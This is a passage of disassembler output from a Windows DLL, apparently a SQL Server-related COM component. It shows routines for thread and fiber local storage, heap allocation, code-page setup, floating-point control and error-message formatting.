loc_69B1CBA8: ; CODE XREF: sub_69B1CA7C+26j
; sub_69B1CA7C+42j ...
cmp dword_69B9296C, 0
jnz loc_69B1CB0B
jmp loc_69B1CAF0
; ---------------------------------------------------------------------------
loc_69B1CBBA: ; CODE XREF: sub_69B1CA7C+E7j
; sub_69B1CA7C+10Dj
call sub_69B2E925
jmp short loc_69B1CB8B
sub_69B1CA7C endp
; ---------------------------------------------------------------------------
align 4
; char aInterlockedexc[]
aInterlockedexc db 'InterlockedExchangeAdd',0 ; DATA XREF: sub_69B1CA7C:loc_69B1CB7Ao
align 4
; char aInterlockedcom[]
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_69B1CA7C+E9o
align 4
; char a_tlssetvalueex[]
a_tlssetvalueex db '_TlsSetValueExSQLServer@12',0 ; DATA XREF: sub_69B1CA7C+5Ao
align 4
; char a_tlssetvaluesq[]
a_tlssetvaluesq db '_TlsSetValueSQLServer@8',0 ; DATA XREF: sub_69B1CA7C+50o
; char ProcName[]
ProcName db '_TlsGetValueSQLServer@4',0 ; DATA XREF: sub_69B1CA7C+48o
; =============== S U B R O U T I N E =======================================
sub_69B1CC44 proc near ; CODE XREF: sub_69B19BC1+Ej
; sub_69B1CA7C:loc_69B1CB8Bp
; FUNCTION CHUNK AT 69B1CCB9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B22BF1 SIZE 0000009A BYTES
push ebx
xor ebx, ebx
cmp dword_69B92964, ebx
push esi
jnz loc_69B22BF1
loc_69B1CC54: ; CODE XREF: sub_69B1CC44+5FB3j
; sub_69B1CC44+5FEBj
push 464h
call sub_69B1127C
cmp eax, ebx
jz short loc_69B1CCB5
mov ecx, eax
call sub_69B1CCBF
mov esi, eax
loc_69B1CC6B: ; CODE XREF: sub_69B1CC44+73j
cmp esi, ebx
jz loc_69B22C59
loc_69B1CC73: ; CODE XREF: sub_69B1CC44+79j
push edi
loc_69B1CC74: ; CODE XREF: sub_69B1CC44+4Dj
mov eax, dword_69B9295C
mov [esi+14h], eax
mov edi, dword_69B9295C
push edi
push esi
push offset dword_69B9295C
call dword_69B92950 ; InterlockedCompareExchange
cmp eax, edi
jnz short loc_69B1CC74
pop edi
loc_69B1CC94: ; CODE XREF: sub_69B1CC44+77j
; sub_69B1CC44+6010j ...
push esi
push dwTlsIndex
call dword_69B92974
cmp esi, ebx
jz short loc_69B1CCB0
lea eax, [esi+38h]
cmp [eax], ebx
jnz loc_69B22C80
loc_69B1CCB0: ; CODE XREF: sub_69B1CC44+5Fj
; sub_69B1CC44+6042j
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B1CCB5: ; CODE XREF: sub_69B1CC44+1Cj
xor esi, esi
jmp short loc_69B1CC6B
sub_69B1CC44 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CC44
loc_69B1CCB9: ; CODE XREF: sub_69B1CC44+6037j
cmp esi, ebx
jz short loc_69B1CC94
jmp short loc_69B1CC73
; END OF FUNCTION CHUNK FOR sub_69B1CC44
; =============== S U B R O U T I N E =======================================
sub_69B1CCBF proc near ; CODE XREF: sub_69B1CC44+20p
push esi
mov esi, ecx
call sub_69B1CCCB
mov eax, esi
pop esi
retn
sub_69B1CCBF endp
; =============== S U B R O U T I N E =======================================
sub_69B1CCCB proc near ; CODE XREF: sub_69B1CCBF+3p
; sub_69B2D585+Fj
push esi
push edi
mov edi, ds:GetCurrentProcess
push 0 ; dwOptions
push 0 ; bInheritHandle
mov esi, ecx
push 4Ah ; dwDesiredAccess
lea eax, [esi+10h]
push eax ; lpTargetHandle
call edi ; GetCurrentProcess
push eax ; hTargetProcessHandle
call ds:GetCurrentThread ; GetCurrentThread
push eax ; hSourceHandle
call edi ; GetCurrentProcess
push eax ; hSourceProcessHandle
call ds:DuplicateHandle ; DuplicateHandle
call ds:GetCurrentThreadId ; GetCurrentThreadId
mov [esi+40h], eax
mov byte ptr [esi+44h], 0
mov [esi+4], esi
mov [esi+0Ch], esi
call sub_69B1CD17
pop edi
mov [esi+3Ch], eax
mov dword ptr [esi+2Ch], 1
pop esi
retn
sub_69B1CCCB endp
; =============== S U B R O U T I N E =======================================
sub_69B1CD17 proc near ; CODE XREF: sub_69B1CCCB+3Ap
mov eax, large fs:18h
retn
sub_69B1CD17 endp
; =============== S U B R O U T I N E =======================================
sub_69B1CD1E proc near ; CODE XREF: sub_69B1B625+99p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B25003 SIZE 00000022 BYTES
xor eax, eax
cmp [esp+arg_0], eax
push 0 ; dwMaximumSize
setz al
push 1000h ; dwInitialSize
push eax ; flOptions
call ds:HeapCreate ; HeapCreate
test eax, eax
mov dword_69B96000, eax
jz loc_69B25022
call sub_69B1CD59
cmp eax, 3
mov dword_69B96004, eax
jz loc_69B25003
loc_69B1CD55: ; CODE XREF: sub_69B1CD1E+82F2j
xor eax, eax
inc eax
retn
sub_69B1CD1E endp
; =============== S U B R O U T I N E =======================================
sub_69B1CD59 proc near ; CODE XREF: sub_69B1CD1E+24p
cmp dword_69B95AFC, 2
jnz short loc_69B1CD6F
cmp dword_69B95B08, 5
jb short loc_69B1CD6F
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B1CD6F: ; CODE XREF: sub_69B1CD59+7j
; sub_69B1CD59+10j
push 3
pop eax
retn
sub_69B1CD59 endp
; =============== S U B R O U T I N E =======================================
sub_69B1CD73 proc near ; CODE XREF: sub_69B1B625+A7p
; FUNCTION CHUNK AT 69B24D13 SIZE 0000000F BYTES
call sub_69B19BD6
test eax, eax
jz loc_69B24D13
push esi
push edi
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
mov edi, eax
test edi, edi
jz short loc_69B1CDFE
mov esi, ds:GetProcAddress
push offset aFlsalloc ; "FlsAlloc"
push edi ; hModule
call esi ; GetProcAddress
push offset aFlsgetvalue ; "FlsGetValue"
push edi ; hModule
mov dword_69B95B2C, eax
call esi ; GetProcAddress
push offset aFlssetvalue ; "FlsSetValue"
push edi ; hModule
mov dword_69B95B30, eax
call esi ; GetProcAddress
push offset aFlsfree ; "FlsFree"
push edi ; hModule
mov dword_69B95B34, eax
call esi ; GetProcAddress
cmp dword_69B95B30, 0
mov dword_69B95B38, eax
jnz short loc_69B1CDFE
mov eax, ds:TlsGetValue
mov dword_69B95B30, eax
mov eax, ds:TlsSetValue
mov dword_69B95B34, eax
mov eax, ds:TlsFree
mov dword_69B95B2C, offset loc_69B112B7
mov dword_69B95B38, eax
loc_69B1CDFE: ; CODE XREF: sub_69B1CD73+1Ej
; sub_69B1CD73+61j
push offset sub_69B84DFA
call dword_69B95B2C
cmp eax, 0FFFFFFFFh
mov dword_69B9267C, eax
jz short loc_69B1CE54
xor edi, edi
inc edi
mov edx, 8Ch
mov ecx, edi
call sub_69B1CE89
mov esi, eax
test esi, esi
jz short loc_69B1CE54
push esi
push dword_69B9267C
call dword_69B95B34
test eax, eax
jz short loc_69B1CE54
mov dword ptr [esi+54h], offset dword_69B927B8
mov [esi+14h], edi
call ds:GetCurrentThreadId ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
mov eax, edi
loc_69B1CE51: ; CODE XREF: sub_69B1CD73+7FAAj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1CE54: ; CODE XREF: sub_69B1CD73+9Ej
; sub_69B1CD73+B3j ...
call sub_69B11F44
jmp loc_69B24D1B
sub_69B1CD73 endp
; ---------------------------------------------------------------------------
align 10h
; char aFlsfree[]
aFlsfree db 'FlsFree',0 ; DATA XREF: sub_69B1CD73+48o
; char aFlssetvalue[]
aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_69B1CD73+3Bo
; char aFlsgetvalue[]
aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_69B1CD73+2Eo
; char aFlsalloc[]
aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_69B1CD73+26o
; =============== S U B R O U T I N E =======================================
sub_69B1CE89 proc near ; CODE XREF: sub_69B1CD73+AAp
; sub_69B1B625+95A1p ...
; FUNCTION CHUNK AT 69B1CEAD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 69B24D89 SIZE 00000020 BYTES
push ebx
push ebp
push esi
push edi
mov ebx, edx
mov ebp, ecx
xor esi, esi
loc_69B1CE93: ; CODE XREF: sub_69B1CE89+29j
push ebx
push ebp
call sub_69B1CEB6
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz loc_69B24D89
loc_69B1CEA6: ; CODE XREF: sub_69B1CE89+2Bj
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B1CE89 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CE89
loc_69B1CEAD: ; CODE XREF: sub_69B1CE89+7F12j
; sub_69B1CE89+7F1Bj
cmp eax, 0FFFFFFFFh
mov esi, eax
jnz short loc_69B1CE93
jmp short loc_69B1CEA6
; END OF FUNCTION CHUNK FOR sub_69B1CE89
; =============== S U B R O U T I N E =======================================
sub_69B1CEB6 proc near ; CODE XREF: sub_69B1CE89+Cp
; FUNCTION CHUNK AT 69B1CF10 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 69B252D9 SIZE 00000079 BYTES
push 10h
push offset dword_69B1CF18
call sub_69B19C5C
mov esi, [ebp+8]
imul esi, [ebp+0Ch]
mov [ebp-1Ch], esi
test esi, esi
jz loc_69B252D9
loc_69B1CED4: ; CODE XREF: sub_69B1CEB6+5Dj
; sub_69B1CEB6+8424j
xor edx, edx
mov [ebp-20h], edx
cmp esi, 0FFFFFFE0h
ja short loc_69B1CF00
cmp dword_69B96004, 3
jz loc_69B252DF
loc_69B1CEEB: ; CODE XREF: sub_69B1CEB6+843Bj
; sub_69B1CEB6+8480j
test edx, edx
jnz short loc_69B1CF08
loc_69B1CEEF: ; CODE XREF: sub_69B1CEB6+8465j
push esi ; dwBytes
push 8 ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapAlloc
mov edx, eax
loc_69B1CF00: ; CODE XREF: sub_69B1CEB6+26j
test edx, edx
jz loc_69B2533B
loc_69B1CF08: ; CODE XREF: sub_69B1CEB6+37j
; sub_69B1CEB6+848Bj
mov eax, edx
loc_69B1CF0A: ; CODE XREF: sub_69B1CEB6+5Fj
call sub_69B1853C
retn
sub_69B1CEB6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CEB6
loc_69B1CF10: ; CODE XREF: sub_69B1CEB6+8497j
pop ecx
test eax, eax
jnz short loc_69B1CED4
jmp short loc_69B1CF0A
; END OF FUNCTION CHUNK FOR sub_69B1CEB6
; ---------------------------------------------------------------------------
align 4
dword_69B1CF18 dd 0FFFFFFFFh, 0 dd offset sub_69B25352
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1CF24 proc near ; CODE XREF: sub_69B1B625+D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 69B24F5E SIZE 00000008 BYTES
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp dword_69B96128, edi
jnz short loc_69B1CF3B
call sub_69B1CFC6
loc_69B1CF3B: ; CODE XREF: sub_69B1CF24+10j
push 104h ; nSize
mov esi, offset Filename
push esi ; lpFilename
push edi ; hModule
mov byte_69B95C44, 0
call ds:GetModuleFileNameA ; GetModuleFileNameA
mov eax, dword_69B9612C
cmp eax, edi
mov dword_69B95B1C, esi
jz short loc_69B1CFC2
cmp byte ptr [eax], 0
mov ebx, eax
jz short loc_69B1CFC2
loc_69B1CF6A: ; CODE XREF: sub_69B1CF24+A0j
lea eax, [ebp+var_4]
push eax
push edi
lea esi, [ebp+var_8]
xor ecx, ecx
mov eax, ebx
call sub_69B1A319
mov esi, [ebp+var_4]
mov eax, [ebp+var_8]
pop ecx
pop ecx
shl esi, 2
lea ecx, [eax+esi]
call sub_69B19560
mov edi, eax
test edi, edi
jz loc_69B24F5E
lea eax, [ebp+var_4]
push eax
lea ecx, [esi+edi]
push edi
lea esi, [ebp+var_8]
mov eax, ebx
call sub_69B1A319
mov eax, [ebp+var_4]
dec eax
pop ecx
mov dword_69B95B10, eax
pop ecx
mov dword_69B95B14, edi
xor eax, eax
loc_69B1CFBD: ; CODE XREF: sub_69B1CF24+803Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B1CFC2: ; CODE XREF: sub_69B1CF24+3Dj
; sub_69B1CF24+44j
mov ebx, esi
jmp short loc_69B1CF6A
sub_69B1CF24 endp
; =============== S U B R O U T I N E =======================================
sub_69B1CFC6 proc near ; CODE XREF: sub_69B1CF24+12p
; sub_69B1949B:loc_69B24EBBp
; DATA XREF: ...
cmp dword_69B96128, 0
jnz short loc_69B1CFE1
push 0FFFFFFFDh
call sub_69B1CFE4
pop ecx
mov dword_69B96128, 1
loc_69B1CFE1: ; CODE XREF: sub_69B1CFC6+7j
xor eax, eax
retn
sub_69B1CFC6 endp
; =============== S U B R O U T I N E =======================================
sub_69B1CFE4 proc near ; CODE XREF: sub_69B1CFC6+Bp
; FUNCTION CHUNK AT 69B1D12B SIZE 00000091 BYTES
; FUNCTION CHUNK AT 69B2525A SIZE 00000041 BYTES
push 14h
push offset dword_69B1D098
call sub_69B19C5C
or dword ptr [ebp-1Ch], 0FFFFFFFFh
push 0Dh
call sub_69B113FC
pop ecx
xor edi, edi
mov [ebp-4], edi
mov dword_69B95DA0, edi
mov eax, [ebp+8]
cmp eax, 0FFFFFFFEh
jz loc_69B2525A
cmp eax, 0FFFFFFFDh
jnz loc_69B1D147
mov dword_69B95DA0, 1
call ds:GetACP ; GetACP
loc_69B1D02C: ; CODE XREF: sub_69B1CFE4+166j
; sub_69B1CFE4+8286j ...
mov [ebp+8], eax
cmp eax, CodePage
jz loc_69B1D162
mov esi, dword_69B95DBC
mov [ebp-20h], esi
cmp esi, edi
jnz loc_69B1D155
loc_69B1D04C: ; CODE XREF: sub_69B1CFE4+179j
mov ecx, 220h
call sub_69B19560
mov esi, eax
mov [ebp-20h], esi
loc_69B1D05B: ; CODE XREF: sub_69B1CFE4+173j
cmp esi, edi
jz loc_69B1D1A0
push dword ptr [ebp+8] ; CodePage
call sub_69B1D0A4
pop ecx
mov [ebp-1Ch], eax
cmp eax, edi
jnz loc_69B1D1A0
mov [esi], edi
mov eax, CodePage
mov [esi+4], eax
mov eax, dword_69B95DC0
mov [esi+8], eax
mov eax, dword_69B95DB8
mov [esi+0Ch], eax
xor eax, eax
jmp loc_69B1D12B
sub_69B1CFE4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B1D098 dd 0FFFFFFFFh, 0 dd offset sub_69B1D1BC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_69B1D0A4(UINT CodePage)
sub_69B1D0A4 proc near ; CODE XREF: sub_69B1CFE4+82p
CPInfo = _cpinfo ptr -18h
var_4 = dword ptr -4
CodePage = dword ptr 8
; FUNCTION CHUNK AT 69B25154 SIZE 00000106 BYTES
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, [ebp+CodePage]
xor ebx, ebx
cmp esi, ebx
push edi
jz short loc_69B1D124
xor edx, edx
xor eax, eax
loc_69B1D0BA: ; CODE XREF: sub_69B1D0A4+2Bj
cmp dword_69B92830[eax], esi
jz loc_69B25177
add eax, 30h
inc edx
cmp eax, 0F0h
jb short loc_69B1D0BA
lea eax, [ebp+CPInfo]
push eax ; lpCPInfo
push esi ; CodePage
call ds:GetCPInfo ; GetCPInfo
cmp eax, 1
jnz loc_69B25246
push 40h
xor eax, eax
cmp [ebp+CPInfo.MaxCharSize], 1
pop ecx
mov edi, offset byte_69B95DE0
rep stosd
stosb
mov CodePage, esi
mov dword_69B95DB8, ebx
ja loc_69B25154
mov dword_69B95DC0, ebx
loc_69B1D10E: ; CODE XREF: sub_69B1D0A4+819Dj
xor eax, eax
mov edi, offset word_69B95EF0
stosd
stosd
stosd
loc_69B1D118: ; CODE XREF: sub_69B1D0A4+85j
; sub_69B1D0A4+815Aj
call sub_69B19189
xor eax, eax
loc_69B1D11F: ; CODE XREF: sub_69B1D0A4+81B1j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B1D124: ; CODE XREF: sub_69B1D0A4+10j
; sub_69B1D0A4+81A8j
call sub_69B85ADB
jmp short loc_69B1D118
sub_69B1D0A4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CFE4
loc_69B1D12B: ; CODE XREF: sub_69B1CFE4+AFj
; sub_69B1CFE4+15Dj
mov [ebp-24h], eax
cmp eax, 5
jge short loc_69B1D143
mov cx, word_69B95EF0[eax*2]
mov [esi+eax*2+10h], cx
inc eax
jmp short loc_69B1D12B
; ---------------------------------------------------------------------------
loc_69B1D143: ; CODE XREF: sub_69B1CFE4+14Dj
xor eax, eax
jmp short loc_69B1D167
; ---------------------------------------------------------------------------
loc_69B1D147: ; CODE XREF: sub_69B1CFE4+32j
cmp eax, 0FFFFFFFCh
jnz loc_69B1D02C
jmp loc_69B2526F
; ---------------------------------------------------------------------------
loc_69B1D155: ; CODE XREF: sub_69B1CFE4+62j
cmp [esi], edi
jz loc_69B1D05B
jmp loc_69B1D04C
; ---------------------------------------------------------------------------
loc_69B1D162: ; CODE XREF: sub_69B1CFE4+51j
mov [ebp-1Ch], edi
jmp short loc_69B1D1AA
; ---------------------------------------------------------------------------
loc_69B1D167: ; CODE XREF: sub_69B1CFE4+161j
; sub_69B1CFE4+198j
mov [ebp-24h], eax
cmp eax, 101h
jge short loc_69B1D17E
mov cl, byte_69B95DE0[eax]
mov [eax+esi+1Ch], cl
inc eax
jmp short loc_69B1D167
; ---------------------------------------------------------------------------
loc_69B1D17E: ; CODE XREF: sub_69B1CFE4+18Bj
xor eax, eax
loc_69B1D180: ; CODE XREF: sub_69B1CFE4+1B4j
mov [ebp-24h], eax
cmp eax, 100h
jge short loc_69B1D19A
mov cl, byte_69B95F00[eax]
mov [eax+esi+11Dh], cl
inc eax
jmp short loc_69B1D180
; ---------------------------------------------------------------------------
loc_69B1D19A: ; CODE XREF: sub_69B1CFE4+1A4j
mov dword_69B95DBC, esi
loc_69B1D1A0: ; CODE XREF: sub_69B1CFE4+79j
; sub_69B1CFE4+8Dj
cmp dword ptr [ebp-1Ch], 0FFFFFFFFh
jz loc_69B25283
loc_69B1D1AA: ; CODE XREF: sub_69B1CFE4+181j
; sub_69B1CFE4+82A5j ...
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1D1BC
mov eax, [ebp-1Ch]
call sub_69B1853C
retn
; END OF FUNCTION CHUNK FOR sub_69B1CFE4
; =============== S U B R O U T I N E =======================================
sub_69B1D1BC proc near ; CODE XREF: sub_69B1CFE4+1CAp
; DATA XREF: .text:69B1D0A0o
push 0Dh
call sub_69B1D1C5
pop ecx
retn
sub_69B1D1BC endp
; =============== S U B R O U T I N E =======================================
sub_69B1D1C5 proc near ; CODE XREF: sub_69B11F26+7p
; sub_69B1D1BC+2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push lpCriticalSection[eax*8] ; lpCriticalSection
call ds:LeaveCriticalSection
retn
sub_69B1D1C5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1949B
loc_69B1D1D7: ; CODE XREF: sub_69B1949B+B8j
push dword_69B95AF8
call sub_69B1D1FD
and dword_69B95AF8, 0
and dword ptr [ebx], 0
mov dword_69B96120, 1
xor eax, eax
loc_69B1D1F8: ; CODE XREF: sub_69B1949B+BA4Cj
pop ecx
loc_69B1D1F9: ; CODE XREF: sub_69B1949B+BA32j
pop ebx
pop esi
pop edi
retn
; END OF FUNCTION CHUNK FOR sub_69B1949B
; =============== S U B R O U T I N E =======================================
sub_69B1D1FD proc near ; CODE XREF: sub_69B1B766-9830p
; sub_69B1949B+3D42p ...
; FUNCTION CHUNK AT 69B24D22 SIZE 0000003E BYTES
push 0Ch
push offset dword_69B1D238
call sub_69B19C5C
mov esi, [ebp+8]
test esi, esi
jz short loc_69B1D22C
cmp dword_69B96004, 3
jz loc_69B24D22
push esi ; lpMem
loc_69B1D21E: ; CODE XREF: sub_69B1D1FD+7B5Ej
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapFree
loc_69B1D22C: ; CODE XREF: sub_69B1D1FD+11j
; sub_69B1D1FD+7B55j
call sub_69B1853C
retn
sub_69B1D1FD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B1D238 dd 0FFFFFFFFh, 0 dd offset sub_69B24D60
; =============== S U B R O U T I N E =======================================
sub_69B1D244 proc near ; CODE XREF: sub_69B1E62C+9p
; DATA XREF: .data:off_69B92678o
call sub_69B1144A
call sub_69B1D251
fnclex
retn
sub_69B1D244 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D251 proc near ; CODE XREF: sub_69B1D244+5p
push 30000h
push 10000h
call sub_69B1D263
pop ecx
pop ecx
retn
sub_69B1D251 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D263 proc near ; CODE XREF: sub_69B1D251+Ap
; sub_69B47D22+7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_69B1D279
pop ecx
pop ecx
retn
sub_69B1D263 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1D279 proc near ; CODE XREF: sub_69B1D263+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
fstcw word ptr [ebp+var_4]
mov ebx, [ebp+var_4]
call sub_69B11482
mov ebx, eax
mov eax, [ebp+arg_4]
not eax
and ebx, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or ebx, eax
call sub_69B1D2AB
mov [ebp+arg_4], eax
fldcw word ptr [ebp+arg_4]
mov eax, ebx
pop ebx
leave
retn
sub_69B1D279 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D2AB proc near ; CODE XREF: sub_69B1D279+22p
; FUNCTION CHUNK AT 69B24C8F SIZE 0000003C BYTES
xor eax, eax
test bl, 10h
jz short loc_69B1D2B3
inc eax
loc_69B1D2B3: ; CODE XREF: sub_69B1D2AB+5j
test bl, 8
jz short loc_69B1D2BB
or eax, 4
loc_69B1D2BB: ; CODE XREF: sub_69B1D2AB+Bj
test bl, 4
jz short loc_69B1D2C3
or eax, 8
loc_69B1D2C3: ; CODE XREF: sub_69B1D2AB+13j
test bl, 2
jz short loc_69B1D2CB
or eax, 10h
loc_69B1D2CB: ; CODE XREF: sub_69B1D2AB+1Bj
test bl, 1
jz short loc_69B1D2D3
or eax, 20h
loc_69B1D2D3: ; CODE XREF: sub_69B1D2AB+23j
test ebx, 80000h
jz short loc_69B1D2DE
or eax, 2
loc_69B1D2DE: ; CODE XREF: sub_69B1D2AB+2Ej
mov ecx, ebx
mov edx, 300h
and ecx, edx
push esi
mov esi, 200h
jnz loc_69B24C8F
loc_69B1D2F3: ; CODE XREF: sub_69B1D2AB+79F2j
; sub_69B1D2AB+79FDj ...
mov ecx, ebx
and ecx, 30000h
jz short loc_69B1D315
cmp ecx, 10000h
jnz short loc_69B1D307
or eax, esi
loc_69B1D307: ; CODE XREF: sub_69B1D2AB+58j
; sub_69B1D2AB+6Cj
test ebx, 40000h
pop esi
jnz loc_69B24CC1
locret_69B1D314: ; CODE XREF: sub_69B1D2AB+7A1Bj
retn
; ---------------------------------------------------------------------------
loc_69B1D315: ; CODE XREF: sub_69B1D2AB+50j
or eax, edx
jmp short loc_69B1D307
sub_69B1D2AB endp
; =============== S U B R O U T I N E =======================================
sub_69B1D319 proc near ; CODE XREF: sub_69B1B7AD+2Fp
cmp dword_69B95A04, 0
jnz short locret_69B1D341
push esi
mov esi, 8007000Eh
push esi
call sub_69B1D411
push eax
push esi
call sub_69B1D342
mov dword_69B95A04, eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
pop esi
locret_69B1D341: ; CODE XREF: sub_69B1D319+7j
retn
sub_69B1D319 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D342 proc near ; CODE XREF: sub_69B1D319+17p
; sub_69B2E8A2+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 24h
call sub_69B17EF3
test eax, eax
jz short loc_69B1D362
push [esp+arg_4]
mov ecx, eax
call sub_69B1D366
loc_69B1D358: ; CODE XREF: sub_69B1D342+22j
mov ecx, [esp+arg_0]
mov [eax+8], ecx
retn 8
; ---------------------------------------------------------------------------
loc_69B1D362: ; CODE XREF: sub_69B1D342+9j
xor eax, eax
jmp short loc_69B1D358
sub_69B1D342 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D366 proc near ; CODE XREF: sub_69B1D342+11p
; sub_69B2E8CC+23p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B1D394
lea eax, [esi+0Ch]
mov [eax], ecx
mov [esi+10h], ecx
push eax
mov [esi+14h], ecx
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B1D366 endp
; ---------------------------------------------------------------------------
align 4
off_69B1D394 dd offset sub_69B2D67E ; DATA XREF: sub_69B1D366+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1D3D0
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2E7F5
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B17CF0
dd offset nullsub_5
dd offset sub_69B11FC4
dd offset sub_69B2EA2C
; =============== S U B R O U T I N E =======================================
sub_69B1D3D0 proc near ; DATA XREF: .text:69B1D3A0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B1D3EB
test [esp+4+arg_0], 1
jz short loc_69B1D3E5
push esi
call sub_69B1829F
loc_69B1D3E5: ; CODE XREF: sub_69B1D3D0+Dj
mov eax, esi
pop esi
retn 4
sub_69B1D3D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D3EB proc near ; CODE XREF: sub_69B1D3D0+3p
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B1D3EB endp
; =============== S U B R O U T I N E =======================================
sub_69B1D411 proc near ; CODE XREF: sub_69B1D319+10p
; sub_69B2EA2C+37p ...
; FUNCTION CHUNK AT 69B23D0C SIZE 00000067 BYTES
push 18h
push offset dword_69B1D488
call sub_69B19C5C
mov esi, 1000h
push esi
call sub_69B1D897
mov [ebp-1Ch], eax
push 0 ; Arguments
push esi ; nSize
push eax ; lpBuffer
mov ebx, 400h
push ebx ; dwLanguageId
push dword ptr [ebp+8] ; dwMessageId
push 0 ; lpSource
push esi ; dwFlags
mov edi, ds:FormatMessageA
call edi ; FormatMessageA
test eax, eax
jbe loc_69B23D0C
loc_69B1D44B: ; CODE XREF: sub_69B1D411+691Aj
; sub_69B1D411+693Dj
and dword ptr [ebp-4], 0
and dword ptr [ebp-20h], 0
test eax, eax
jbe loc_69B23D53
mov ecx, [ebp-1Ch]
mov byte ptr [eax+ecx], 0
push ecx ; lpMultiByteStr
call sub_69B1D494
loc_69B1D468: ; CODE XREF: sub_69B1D411+695Dj
mov [ebp-24h], eax
loc_69B1D46B: ; CODE XREF: sub_69B23D7C+Aj
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-1Ch]
call sub_69B1B2B7
mov eax, [ebp-24h]
call sub_69B1853C
retn 4
sub_69B1D411 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B1D488 dd 0FFFFFFFFh dd offset sub_69B23D73
dd offset sub_69B23D7C
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B1D494(LPCSTR lpMultiByteStr)
sub_69B1D494 proc near ; CODE XREF: sub_69B16A74+39p
; sub_69B1D411+52p ...
cchWideChar = dword ptr -4
lpMultiByteStr = dword ptr 4
push ecx
mov eax, [esp+4+lpMultiByteStr]
push ebx
push ebp
push esi
push edi
lea esi, [eax+1]
xor ebx, ebx
loc_69B1D4A2: ; CODE XREF: sub_69B1D494+13j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_69B1D4A2
push ebx ; cchWideChar
sub eax, esi
mov esi, ds:MultiByteToWideChar
push ebx ; lpWideCharStr
mov ebp, eax
push ebp ; cchMultiByte
push [esp+20h+lpMultiByteStr] ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call esi ; MultiByteToWideChar
push eax
push ebx
mov [esp+1Ch+cchWideChar], eax
call sub_69B190D7
push [esp+14h+cchWideChar] ; cchWideChar
mov edi, eax
push dword ptr [edi+0Ch] ; lpWideCharStr
push ebp ; cchMultiByte
push [esp+20h+lpMultiByteStr] ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call esi ; MultiByteToWideChar
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 4
sub_69B1D494 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D4E5 proc near ; CODE XREF: DllGetClassObject+7Cp
cmp dword_69B95A24, 0
jnz short locret_69B1D524
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B1D525
